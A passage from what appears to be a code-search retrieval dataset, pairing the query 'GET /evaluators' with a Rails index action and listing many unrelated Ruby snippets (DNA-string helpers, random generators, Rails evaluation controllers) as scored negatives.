(ng/uL)\", default: 7)\n .get(:note, type: 'text', heading: \"Notes\")\n .end_table\n end\n end", "def generateAndPrintConcordance(inputLines)\n # Generate Concordance\n words = Hash.new\n index = 0\n # read each line\n for i in 0...inputLines.size\n # read each sentence\n inputLines[i].to_s.split(/\\.|\\?|\\!/).each do |sentence|\n index +=1\n # read each word\n sentence.split(/\\W|\\s/).each do |word|\n # per output sample requirement only adds words\n if word != \"\"\n # per output sample requirement makes all words lower case\n word=word.downcase\n # add words to a hash table as key\n words[word]=words[word]||[0,[]]\n # add word number of occurrences\n words[word][0]+=1\n # add the sentence number where the word occurs\n words[word][1]<<index\n end\n end\n end\n end\n # per output sample requirement sorts hash table key alphabetically\n words = words.sort_by { |key| key }.to_h\n # Print Concordance\n words.each_pair {|key,v| puts \"#{key}: {#{v[0]}:#{v[1].to_s.delete('[]')}}\"}\nend", "def gcThree #average gc 3 values for seqs\n freqs = Array.new\n self.codons.each{ | eachRow |\n gcCount = 0\n codonCount = 0\n eachRow.each{ |eachCodon |\n if ! (eachCodon.include?(\"N\") or eachCodon.include?(\"-\"))\n codonCount += 1\n if eachCodon[2,1] =~ /[GC]/\n gcCount += 1\n end\n end\n }\n\n if codonCount != 0\n freqs << gcCount.to_f / codonCount\n end\n }\n\n\n return freqs.sampleMean\n end", "def classifySample(sample)\n if sample =~/VIR|viral/\n return \"VIR\"\n elsif sample =~/LG/ || sample =~/01a/\n return 3.0\n elsif sample =~/SM/ || sample =~/01b/ || sample =~/GS-25-/ || sample =~/GOS108XLRVAL-4F-1-400_FG5HGJH01/ || sample =~/GOS108XLRVAL-4F-1-400_FG5HGJH02/ || sample =~/GOS108XLRVAL-4F-1-400_FJGGSX101/\n return 0.8\n elsif sample =~/00[b|c|d]/\n return 0.22\n else\n return 0.1\n end\nend", "def dna_to_rna(string)\n index = 0\n rna_strand = \"\"\n while index < string.length\n if string[index] == \"G\"\n rna_strand << \"C\"\n elsif string[index] == \"C\"\n rna_strand << \"G\"\n elsif string[index] == \"T\"\n rna_strand << \"A\"\n elsif string[index] == \"A\"\n rna_strand << \"U\"\n end\n index += 1\n end\n return rna_strand\nend", "def strand; @data[8]; end", "def ex1\n WaveFile::Reader.new(\n File.expand_path('../440Hz,441samples.wav', File.dirname(__FILE__))\n ) do |reader|\n samples = reader.read(441).samples.to_a\n #puts samples.map(&:inspect).join(\",\")\n samples_to_graph!(samples, '440constant')\n embiggen_and_imgcat!('440constant')\n end\nend", "def modified_sample_layout\n lyt = []\n make_modified_start_array(@group_size).each do |j|\n cols = Array.new(@columns) { |c| c }\n cols.each { |c| @group_size.times { |i| lyt << [i + j, c] } }\n end\n lyt\n end", "def dna_string(string)\n letters = string.upcase.split('')\n return_arr = []\n letters.each do |i|\n if i == 'G'\n arr = []\n arr.push('G','C')\n return_arr.push(arr)\n elsif i == 'C'\n arr = []\n arr.push('C','G')\n return_arr.push(arr)\n elsif i == 'A'\n arr = []\n arr.push('A','T')\n return_arr.push(arr)\n elsif i == 'T'\n arr = []\n arr.push('T','A')\n return_arr.push(arr)\n end\n end\n p return_arr\nend", "def generate_test_data\n 50_000.times.map do |i|\n name = [\"John\", \"Peter\", \"Sylvia\"][rand(3)] + \" \" +\n [\"McTest\", \"McGregor\", \"McIntosh\"][rand(3)]\n [i, name, Time.at(rand * Time.now.to_i).strftime(\"%Y-%m-%d\") ].join(',')\n end.join(\"\\n\")\nend", "def Lexicographic(myString)\n\n origArray = myString.split(//)\n newArr = origArray.permutation.to_a\n counter = 1\n newArr.each do |x|\n if counter == 1000000\n print counter, \"--> \", x.join, \"\\n\"\n break\n else\n counter = counter + 1\n end\n end\nend", "def generate_code(number)\n charset = Array('A'..'Z') + Array('a'..'z')\n Array.new(number) { charset.sample }.join\nend", "def _print_ace(a,b,species)\n ace=String.new\n a.each{|_a|\n next if b.nil? || _a.nil? ||b.size<1\n ace << \"Gene : \\\"#{_a}\\\"\\n\"\n b.each{|_b|\n ace << \"Ortholog #{_b} \\\"#{species}\\\" Inferred_automatically OrthoMCL\\n\"\n }\n ace << \"\\n\"\n }\n return ace\nend", "def _print_ace(a,b,species)\n ace=String.new\n a.each{|_a|\n next if b.nil? || _a.nil? ||b.size<1\n ace << \"Gene : \\\"#{_a}\\\"\\n\"\n b.each{|_b|\n ace << \"Ortholog #{_b} \\\"#{species}\\\" Inferred_automatically OrthoMCL\\n\"\n }\n ace << \"\\n\"\n }\n return ace\nend", "def print_output_head(index)\n puts \"\\nPrinting dataset for %.2f\" %\n (@meta_data.domain_z.lower + (index * @meta_data.domain_z.step))\n puts \"\\n\"\n end", "def output_image\r\n\t\tif !(@data.empty?)\r\n\t\t\t@data.each do |row| \r\n\t\t\t\tputs row.join(' ')\r\n\t\t\tend\r\n \r\n\t\telse\r\n\t\t\tputs \"No values supplied.\"\r\n\t\tend\r\n\tend", "def generate_production_number\n start_digits = rand(10000..99999)\n end_digits = rand(10000..99999)\n alphabet = (\"A\"..\"Z\").to_a\n middle_digits = \"2017\"\n 5.times { middle_digits << alphabet.sample}\n \"#{start_digits}-#{middle_digits}-#{end_digits}\"\n end", "def generate_production_number\n start_digits = rand(10000..99999)\n end_digits = rand(10000..99999)\n alphabet = (\"A\"..\"Z\").to_a\n middle_digits = \"2017\"\n 5.times { middle_digits << alphabet.sample}\n \"#{start_digits}-#{middle_digits}-#{end_digits}\"\n end", "def output_tranformed_pixels\n\t\tstring_of_pixels = @pixels.join(\"\")\n\t\tresult = string_of_pixels.scan(/.{1,9}/).join(\"\\n\")\n\t\t#puts result\n\t\tputs result\n\t\tresult\n\tend", "def output(data); end", "def hcv_ns5a(aa_array,start_aa=1)\n out_hash = {}\n sdrm = {}\n sdrm[28] = ['M',['T']]\n sdrm[30] = ['L',['H','K','R','Q','A','S','D']]\n sdrm[31] = ['L',['M','V','F']]\n sdrm[32] = ['P',['L']]\n sdrm[44] = ['K',['R']]\n sdrm[58] = ['H',['D','P','S']]\n sdrm[64] = ['T',['A','S']]\n sdrm[77] = ['P',['A','S']]\n sdrm[78] = ['R',['K']]\n sdrm[79] = ['T',['A']]\n sdrm[83] = ['T',['M']]\n sdrm[85] = ['S',['N','H','Y']]\n sdrm[92] = ['A',['P','T','K','E']]\n sdrm[93] = ['Y',['C','F','H','N']]\n sdrm[107] = ['K',['T','S']]\n sdrm[121] = ['I',['V']]\n sdrm[135] = ['T',['A']]\n aa_length = aa_array.size\n end_aa = start_aa + aa_length - 1\n (start_aa..end_aa).each do |position|\n array_position = position - start_aa\n if sdrm.keys.include?(position)\n wt_aa = sdrm[position][0]\n test_aa = aa_array[array_position]\n if test_aa.size == 1\n unless wt_aa == test_aa\n if sdrm[position][1].include?(test_aa)\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n else\n test_aa_array = test_aa.split(\"/\")\n if (test_aa_array & sdrm[position][1])\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n end\n end\n return out_hash\nend", "def co_hort(a)\n\n\n\ta.each {|b, c| puts \"#{b}\" + \" \" +\"#{c} students\"}\nend", "def generate_string(length)\n charset = Array('A'..'Z') + Array('a'..'z')\n Array.new(length) { charset.sample }.join\n end", "def test_genomic2cdna_fw # forward strand (variation rs67960011)\n t = Ensembl::Core::Transcript.find_by_stable_id(\"ENST00000039007\")\n assert_equal(573,t.genomic2cdna(38260562)) \n end", "def sample_roi\n system(\"3dROIstats -mask_f2short -mask raparc.a2009s+aseg.nii plq20005_Ax-FSPGR-BRAVO_003.nii rASL_plq20005_fmap.nii > stats.txt\")\n end", "def acct(array_of_names)\n\tarray_of_names.each_slice(5) {|names| p names}\n\t\nend", "def make_sequence\n 4.times do\n self.sequence << COLORS.sample\n end\n end", "def getFtsProtSequences\n @gbkObj.each_cds do |ft|\n ftH = ft.to_hash\n loc = ft.locations\n gene = []\n product = []\n protId = \"\"\n if ftH.has_key? \"pseudo\"\n next\n end\n gene = ftH[\"gene\"] if !ftH[\"gene\"].nil?\n product = ftH[\"product\"] if !ftH[\"product\"].nil?\n protId = ftH[\"protein_id\"][0] if !ftH[\"protein_id\"].nil?\n locustag = ftH[\"locus_tag\"][0] if !ftH[\"locus_tag\"].nil?\n dna = getDna(ft,@gbkObj.to_biosequence)\n pep = ftH[\"translation\"][0] if !ftH[\"translation\"].nil?\n pepBioSeq = Bio::Sequence.auto(pep)\n seqout = pepBioSeq.output_fasta(\"#{@accession}|#{loc}|#{protId}|#{locustag}|#{gene[0]}|#{product[0]}\",60)\n puts seqout\n end\n end", "def draw_sample\n \t\" #{@sample[:space_1]} | #{@sample[:space_2]} | #{@sample[:space_3]}\\n\" +\n \t\t\t\t\t \" _____|_____|____\\n\" +\n \t\" #{@sample[:space_4]} | #{@sample[:space_5]} | #{@sample[:space_6]}\\n\" +\n \t\t\t\t\t \" _____|_____|____\\n\" +\n \t\" #{@sample[:space_7]} | #{@sample[:space_8]} | #{@sample[:space_9]}\\n\" +\n \t\t\t\t\t\t \" | | \\n\\n\"\n\n end", "def generate_test_data()\n CSV.open(\"testdata.csv\", \"w\") do |csv|\n (1..1_000_000).each do |i|\n csv << [rand(100), rand(10_000), rand(100_000)]\n end\n end\nend", "def get_dataset(table)\n #puts \"converting to a dataset\"\n to_dataset(@datafiles[table].content)\n end", "def generate_marks\n exams.attending.each do |e|\n e.update_attribute :result, Course::VALID_MARKS.sample\n end\n end", "def generate_letter(cnt)\n letters = (\"0\"..\"9\").to_a + (\"a\"..\"f\").to_a\n word = \"\"\n cnt.times do\n word << letters.sample\n end\n word\nend", "def sample\n @data.keys.sample\n end", "def DNA_strand(dna)\n dna.tr('ATGC', 'TACG')\nend", "def to_s\n\n # a new string for the output\n output_string = String.new\n\n\n #make a variable so we don't mess up instance variable\n # use .shuffle to randomise the order of elements in the array\n letter_array = @spaces.shuffle\n\n\n 4.times do\n # removes first 4 letters from array and adds them to output_string\n output_string << letter_array.shift(4).join(' ') + \"\\n\"\n end\n\n # remove last \"\\n\"\n output_string = output_string[0..-2]\n\n output_string\n\n\n end", "def create_uuid_2\n characters = []\n uuid = ''\n ('a'..'f').each { |char| characters << char}\n (0..9).each { |digit| characters << digit.to_s }\n \n sections = [8, 4, 4, 4, 12]\n\n sections.each_with_index do |section, index|\n section.times { uuid << characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend", "def run_align_assess\n filename = self.generate_fasta_alignment_file_for_all\n string = \"./lib/AlignAssess_wShorterID #{filename} P\"\n seq_array = Array.new\n if system(string)\n seq_id_array = self.sequences.map{|s| s.seq_id}\n new_filename = filename + \"_assess\"\n f = File.new(new_filename, \"r\")\n flag = false\n read_row= 999999999\n cur_row = 0\n while (line = f.gets)\n if cur_row > read_row && flag\n if line == \"\\n\"\n flag =false\n else\n seq_array << line.split(\"\\t\")\n end\n elsif line == \"Pair-wise %ID over shorter sequence:\\n\"\n flag=true\n read_row = cur_row + 2\n end\n cur_row +=1\n end\n range = seq_array.length - 1\n #seq_array.each do |row|\n for row_num in 0..range\n for i in 1..range#(row_num) \n PercentIdentity.first_or_create(:seq1_id=>seq_id_array[row_num],\n :seq2_id=>seq_id_array[i],\n :alignment_name => self.alignment_name,\n :percent_id=>seq_array[row_num][i])\n # print \"[#{row_num}:#{i-1}=>#{row[i]}],\"\n end\n #print \"\\n\"\n end\n end\n end", "def generate_code(number)\n Array.new(number) { CHARSET.sample }.join\n end", "def supplementaryCase records #generate the supplementary set for selected records \n num=@records.recordsArr[0].valuesArr.length\n \n recordset = Records.new\n tagset = []\n # add the @records and selected records (just the inputparameter 'records' into the recordset ) \n for i in 0...@records.recordsArr.length do #add the @records to recordset and set tagset=1\n recordset.recordsArr << @records.recordsArr[i]\n tagset << 1\n end\n for j in 0...records.recordsArr.length do #add the records to recordset and set tagset=0\n recordset.recordsArr << records.recordsArr[j]\n tagset << 0\n end\n\n sum = @parameters.paramsArr.length*(@parameters.paramsArr.length-1)/2\n print 'sum='\n puts sum\n\n\n\n for i in 0...recordset.recordsArr.length do\n isexist=0\n for h in 0...@parameters.paramsArr.length do\n for k in h+1 ...@parameters.paramsArr.length do\n for j in i+1 ...recordset.recordsArr.length do\n if recordset.recordsArr[i].valuesArr[h]== recordset.recordsArr[j].valuesArr[h] and recordset.recordsArr[i].valuesArr[k] == recordset.recordsArr[j].valuesArr[k]\n isexist+=1 \n end\n end\n end\n end\n if isexist >=sum\n tagset[i]=0\n end \n end\n result = Records.new\n for m in 0...tagset.length do\n if tagset[m]==1\n result.recordsArr << recordset.recordsArr[m]\n end\n end\n return result\n end", "def ran_chr(count = `tput cols`.chomp.to_i)\n Array('a'..'z').sample(count).join\nend", "def generate_alltestc\n\n end", "def generate_line\n string_array = \"ACGT\".chars.to_a\n Enumerator.new do |yielder|\n loop do\n yielder.yield string_array.sample\n end\n end\nend", "def generate_random_array \n big_array = []\n i = set_array_size.to_i\n \n while i >= 1 \n big_string = (0...50).map { ('a'..'z').to_a[rand(26)] }.join\n big_array << big_string\n i = i - 1 \n end\n big_array \n end", "def utter_randomly\n length = Utterance::MinLength +\n rand(Utterance::MaxLength - Utterance::MinLength)\n (0...length).map{ Alphabet.sample }.join\n end", "def random_genome\n genome = \"\"\n (1..50).each do |i|\n genome += genome_map[rand(26)]\n end\n genome\n end", "def alphabet\r\n array = (\"a\"..\"z\").to_a\r\n newarray = array.shuffle\r\n # puts newarray.join(\" \")\r\n puts newarray.first\r\n puts newarray.last\r\nend", "def generate\n ('a'..'z').to_a.shuffle[0, length].join.capitalize\n end", "def DNA_strand(dna)\n\n new_dna = \"\"\n dna.each_char do |letter|\n\n if letter == \"A\"\n new_dna += \"T\"\n elsif letter == \"T\"\n \tnew_dna += \"A\"\n elsif letter == \"C\"\n \tnew_dna += \"G\"\n elsif letter == \"G\"\n \tnew_dna += \"C\"\n else\n \tnew_dna += letter\n end\n \n end\n return new_dna\nend", "def genCsvSummary()\n csv = [] ;\n to_a.each{|analyzer|\n csv.push(analyzer.genCsvRowSummary()) ;\n }\n return csv ;\n end", "def get_user2\n alphabet = ('a'..'z').to_a\n @user_2 = alphabet.sample\nend", "def genetic_code_table; 11; end", "def km_get_reacid(data)\n return data.map{|d| d.scan(/(?<r>R\\d{5})/)}.flatten.sort\nend", "def save_random_captcha(text, dataset)\n image = Magick::Image.new(160, 80)\n image.format = \"jpg\"\n image.gravity = Magick::CenterGravity\n image.background_color = 'white'\n\n draw = Magick::Draw.new\n draw.annotate(image, image.columns, image.rows, 0, 0, text) {\n self.gravity = Magick::CenterGravity\n self.pointsize = 28\n self.fill = 'darkblue'\n self.stroke = 'transparent'\n self.rotation = rand(-20..20)\n }\n\n image = image.gaussian_blur(0.0, rand)\n image = image.implode((rand(1)) / 10.0)\n image = image.swirl(rand(15))\n image = image.radial_blur(rand(5))\n image = image.add_noise(Magick::ImpulseNoise)\n image = image.wave(2 + rand(1), 20 + rand(10))\n image = image.crop(0,0,160,80)\n\n File.write(\"./captcha_dataset/#{dataset}/#{text}.jpg\", image.to_blob)\nend", "def array_to_csvstring(ar)\n word_string = String.new\nar.each{|k,v| word_string << \"#{k}=#{v}_\"}\nreturn word_string[0...-1]\nend", "def array_to_csvstring(ar)\n word_string = String.new\nar.each{|k,v| word_string << \"#{k}=#{v}_\"}\nreturn word_string[0...-1]\nend", "def set_up_test(input_plates)\n input_plates.each do |plate|\n sample = plate.parts.first.sample\n plate.add_samples(Array.new(plate.get_empty.length, sample))\n end\n end", "def expand\n gsub!(/\\[(.*?)\\]/) do |term|\n if DATA.key?($1) && DATA[$1].size > 0\n DATA[$1].sample\n else\n term\n end\n end\n end", "def process_sample(sample_name)\n data = @config[sample_name]\n data.each_with_index do |d,i|\n data[i] = @default_config.merge(d)\n case data[i][:mode]\n when /\\ADNA\\z/i\n if data[i][:bwa_ref] == nil\n @stderr.puts \"Missing bwa reference for #{sample_name}\"\n return 1\n end\n when /\\Arna\\z/i\n if data[i][:star_ref] == nil || data[i][:star_index] == nil\n @stderr.puts \"Missing star reference for #{sample_name}\"\n return 1\n end\n else\n @stderr.puts \"Missing analysis mode for #{sample_name}\"\n return 1\n end\n end\n if @options.debug\n puts data.inspect\n puts \"\"\n #exit 0\n puts Template.analysis_template(@default_config,sample_name,data)\n if (data.first.has_key?(:keep_unaligned) && data.first[:keep_unaligned]) then\n puts UnalignedExtractTemplate.new(@default_config,sample_name,data)\n end\n return 0\n end\n output_dir = File.join(@options.output_base,sample_name)\n\n unless Dir.mkdir(output_dir)\n @stderr.puts \"Failed to make dir: #{output_dir} for #{sample_name}\"\n return 1\n end\n\n script_file = File.join(output_dir,\"analyze.sh\")\n File.open(script_file,\"w\") do |f|\n f.puts Template.analysis_template(@default_config,sample_name,data)\n end\n\n if (data.first.has_key?(:keep_unaligned) && data.first[:keep_unaligned]) then\n extract_script_file = File.join(output_dir,\"extract_unaligned.sh\")\n File.open(extract_script_file,\"w\") do |f|\n f.puts UnalignedExtractTemplate.new(@default_config,sample_name,data)\n end\n end\n\n return_dir = Dir.pwd\n unless Dir.chdir(output_dir)\n @stderr.puts \"Failed to change to dir: #{output_dir} for #{sample_name}\"\n return 1\n end\n\n Dir.mkdir(\"logs\")\n\n # We sleep a random amount to avoid overloading SGE with a billion jobs right away\n sleep(rand(@options.delay))\n cmd = %W(sbatch) + @options.scheduler_opts.split(/ /) + %W(-o logs/slurm-%x.%A.log -W - t 0-23 -N 1 -c 1 --mem 4 -J a_#{sample_name}_full ./analyze.sh)\n cmd = %w(./analyze.sh) if @options.run_local\n @stdout.puts(cmd.join(\" \"))\n system(*cmd)\n status = $?.exitstatus\n\n Dir.chdir(return_dir)\n return status\nend", "def input4\n [\n [1, 0, 0, 0, 1],\n [0, 0, 0, 1, 3],\n [0, 1, 0, 0, 5],\n [0, 0, 1, 0, 8]\n ]\nend", "def write\n\n # reverse alignments\n @first_result.reverse!\n @second_result.reverse!\n\n # Create middle section for matches/mismatches\n index = 0\n @first_result.length.times do\n if @first_result[index] == @second_result[index]\n @central_alignment << \"|\"\n else\n @central_alignment << \" \"\n end\n index += 1\n end\n\n offset = @start_first > @start_second ? @start_first.to_s.length : @start_second.to_s.length\n border = \"\"\n\n (offset+1).times do # lines up center with alignments\n border << \"=\"\n end\n\n # formats beginning and end of sequence output\n @first_result.insert(0, @start_first.to_s << \"=\")\n @first_result << \"=\" << @max_cell_row.to_s\n @second_result.insert(0, \"\" << @start_second.to_s << \"=\")\n @second_result << \"=\" << @max_cell_column.to_s\n @central_alignment.insert(0, border)\n @central_alignment << border\n\n # separate sequences and center into at most chunks of at most 60\n first_chunks = @first_result.scan(/.{1,60}/)\n central_chunks = @central_alignment.scan(/.{1,60}/)\n second_chunks = @second_result.scan(/.{1,60}/)\n\n length = first_chunks.length\n\n File.open(\"result.txt\", 'w') {|file| \n i = 0\n length.times do\n file.puts first_chunks[i]\n file.puts central_chunks[i]\n file.puts second_chunks[i]\n file.puts\n i += 1\n end\n }\n\n end", "def gen_str strLen\n\t sortedAlphabet = @alphabet.sort\n resultStrs = [ ] \n testStrings = [ ]\n testStrings[0] = [] \n testStrings[0].push \"\"\n 1.upto(strLen.to_i) { |x|\n testStrings[x] = []\n testStrings[x-1].each { |s|\n sortedAlphabet.each { |c|\n testStrings[x].push s+c\n }\n }\n }\n testStrings.flatten.each { |s|\n resultStrs.push s if accept? s\n }\n result = \"\"\n resultStrs.each { |x| result.concat '\"'+x+'\" ' }\n result\n end" ]
[ "0.63853765", "0.5495993", "0.5343282", "0.5343282", "0.52739435", "0.5130214", "0.5120204", "0.5095826", "0.50125533", "0.4937378", "0.48821124", "0.48660684", "0.48475075", "0.48296756", "0.482702", "0.47889024", "0.47796342", "0.47577423", "0.47510543", "0.4744384", "0.4718079", "0.47167462", "0.47166273", "0.47068885", "0.4703205", "0.4702696", "0.46853492", "0.46817222", "0.46760204", "0.46713322", "0.4666663", "0.46599743", "0.4657379", "0.46550637", "0.46539524", "0.46513274", "0.4647713", "0.46399644", "0.46317655", "0.45995325", "0.459586", "0.45867363", "0.45717323", "0.4565032", "0.45628574", "0.4554968", "0.45538583", "0.4551868", "0.45492154", "0.4542014", "0.4541121", "0.45407608", "0.45407608", "0.45257795", "0.45199743", "0.4508951", "0.4508951", "0.45064625", "0.45033458", "0.44987088", "0.44970685", "0.44968972", "0.44875914", "0.44803262", "0.44800806", "0.44767743", "0.44765604", "0.44742483", "0.4473479", "0.44685385", "0.44680884", "0.44614902", "0.44585976", "0.4458411", "0.4456812", "0.445256", "0.44516957", "0.44506824", "0.44494888", "0.444782", "0.44464895", "0.4444659", "0.44442338", "0.4440847", "0.44394553", "0.44353953", "0.44352257", "0.4433655", "0.44333053", "0.44327912", "0.4427529", "0.44272873", "0.4424322", "0.4421362", "0.4421362", "0.44183058", "0.4416052", "0.44133973", "0.4406177", "0.44057354", "0.4404838" ]
0.0
-1
GET /evaluators GET /evaluators.xml
def index respond_to do |format| format.html # index.html.erb format.xml { render :xml => @evaluators } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def evaluations(id)\n connection.get do |req|\n req.url \"job/#{id}/evaluations\"\n end\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evaluator }\n end\n end", "def index\n @evaluates = Evaluate.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evals = Eval.all\n respond_with(@evals) \n end", "def getEvaluations\n\t\tharness.evaluations\n\tend", "def get_evaluations\n\t\tif current_student.id.to_i == params[:id].to_i\n\t\t\t@student = Student.find(params[:id])\n\t\t\t@evaluations = @student.evaluations\n\t\tend\n\t\trender 'get_evaluations'\n\tend", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\r\n @evaluaciones = Evaluacione.all\r\n end", "def index\n @evaluations = Evaluation.accessible_by(current_ability, :read)\n end", "def show\n @evaluacione = Evaluacione.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evaluacione }\n end\n end", "def show\r\n @evaluation = Evaluation.find(params[:id])\r\n @responses = Response.find_all_by_Evaluation_id params[:id]\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @evaluation }\r\n end\r\n end", "def index\n @evaluos = Evaluo.all\n end", "def show\n @evaluations = Evaluation.find(params[:id])\n end", "def index\n @evaluations = @course.evaluations\n end", "def index\n @test_subject_evaluations = @test_subject.test_subject_evaluations.find(:all, :order => 'evaluated_on DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @test_subject_evaluations }\n end\n end", "def get_eval\n\t\t@student = Student.find(params[:student_id])\n\t\t@evaluation = @student.evaluations.find(params[:eval_id])\n\t\trender json: @evaluation\n\tend", "def index\n @evaluations = @course.evaluations\n end", "def index\n @score_evaluations = ScoreEvaluation.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @score_evaluations }\n end\n end", "def show\n @evaluation = Evaluation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evaluation }\n end\n end", "def index\n @evaluaciones = Evaluacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @evaluaciones }\n end\n end", "def show\n @evaluacion = Evaluacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evaluacion }\n end\n end", "def index\n @evaluations = Evaluation.all\n @evaluation = Evaluation.new\n end", "def index\n @evaluacion_servicios = EvaluacionServicio.all\n end", "def index\n @tutee = Tutee.find params[:tutee_id]\n @evaluations = @tutee.evaluations.where(:status => 'Pending')\n end", "def evaluate\n response = Quiz.find(params[:quiz_id]).evaluate(params[:questions], current_user)\n @answers = response[:answers]\n @nota = response[:grade]\n\n respond_to do |format|\n format.html { render 'evaluate' }\n end\n end", "def index\n @predicitions = Predicition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @predicitions }\n end\n end", "def show\n @evaluacion_servicios = EvaluacionServicio.find(params[:id])\n end", "def evaluate\n # First up validations\n @validations.each do |validate|\n next if validate.call\n return @xml\n end\n # Those passed, so next up is actual operations\n @operations.each do |operation|\n operation.call\n end\n return @xml\n end", "def show\n @evaluation_criterium = EvaluationCriterium.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evaluation_criterium }\n end\n end", "def index\n @performance_evaluations = PerformanceEvaluation.all\n end", "def show\n @eval = Eval.find(params[:id])\n end", "def show\n @test_subject_evaluation = @test_subject.test_subject_evaluations.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @test_subject_evaluation }\n end\n end", "def set_evaluacion\n @evaluacions = Evaluacion.find(params[:id])\n end", "def index\n if current_user\n @evaluations = current_user.readable_evaluations\n else\n @circle = Circle.where(name: 'Public').try(:first)\n @evaluations = @circle.present? ? @circle.evaluations : []\n end\n user_ids = @evaluations.map(&:created_by_id)\n @users = User.in(id: user_ids)\n @users = @users.index_by(&:id)\n end", "def index\n @criterions = Criterion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @criterions }\n end\n end", "def index\n @evaluation_results = EvaluationResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @evaluation_results }\n end\n end", "def show\n @evaluate_course = EvaluateCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evaluate_course }\n end\n end", "def new\n @evaluacione = Evaluacione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evaluacione }\n end\n end", "def list_model_evaluations request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_model_evaluations_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::ListModelEvaluationsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def index\n @psicologic_evaluations = PsicologicEvaluation.all\n end", "def set_evaluacione\r\n @evaluacione = Evaluacione.find(params[:id])\r\n end", "def list_model_evaluations request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_model_evaluations_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::ListModelEvaluationsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def index\n session[:evaluation_id] = nil\n if current_user.has_role? :admin\n @evaluations = Evaluation.all\n else\n @lesson = Lesson.find(session[:lesson_id]) if session[:lesson_id]\n @evaluations = Evaluation.where(user_id: current_user.id).order(updated_at: :desc)\n end\n\n end", "def index\n if params[:query]\n @evaluations = Evaluation.text_search(params[:query]).paginate(page: params[:page]).\n order(date: :asc).per_page(10)\n flash[:notice] = 'Ningún resultado' if @evaluations.empty?\n else\n @evaluations = Evaluation.paginate(page: params[:page]).order(date: :asc).per_page(10)\n end\n end", "def show\n if @employee.type.nil?\n @evaluations = @employee.evaluations.paginate(page: params[:page]).order(date: :asc).per_page(10)\n end\n end", "def index\n @compares = current_user.compares\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @compares }\n end\n end", "def show\n @score_evaluation = ScoreEvaluation.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @score_evaluation }\n end\n end", "def index\n @evaluations = current_customer.customer_evaluations.order('evaluations.id desc')\n session[:left_service_orderitem] = 'theme'\n session[:right_service_orderitem] = 'theme'\n session[:right_service_query] = ''\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @evaluations}\n end\n end", "def get_operators\r\n url = CLX.paths[:operator]\r\n @http_client.get(url)\r\n end", "def index\n @course_evaluations = CourseEvaluation.all\n end", "def set_evaluacion\n @evaluacion = Evaluacion.find(params[:id])\n end", "def index\n @notifiers = Notifier.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @notifiers }\n end\n end", "def index\n @rules = Rule.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rules }\n end\n end", "def evaluate\n\n end", "def index\n @administrators = Administrator.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @administrators }\n end\n end", "def show\n\t\t\n\t\tdefault_evaluator_id = 33078332\n\t\t\n \tbegin\n \t\t@evaluation = Evaluation.find(params[:id], :include => :citation)\n \t\t@citation = @evaluation.citation\n \trescue ActiveRecord::RecordNotFound\n \t\t@evaluation = Evaluation.new\n \t\tif default_evaluator_id\n \t\t\tevaluator = Evaluator.find(default_evaluator_id)\n \t\telse\n \t\t\tevaluator = Evaluator.first(:conditions => ['email = \"b.wenneker@gmail.com\"'])\n \t\tend\n \t\t\n \t\t@citation = find_next_citation(evaluator.id)\n \tend\n\t\t\n\t\tif request.post?\n\t\t\tif default_evaluator_id\n \t\t\tevaluator = Evaluator.find(default_evaluator_id)\n \t\telse\n \t\t\tevaluator = Evaluator.first(:conditions => ['email = ?', params[:evaluator]])\n \t\tend\n\n\t\t\tif evaluator.nil?\n\t\t\t\tevaluator = Evaluator.create({:email => 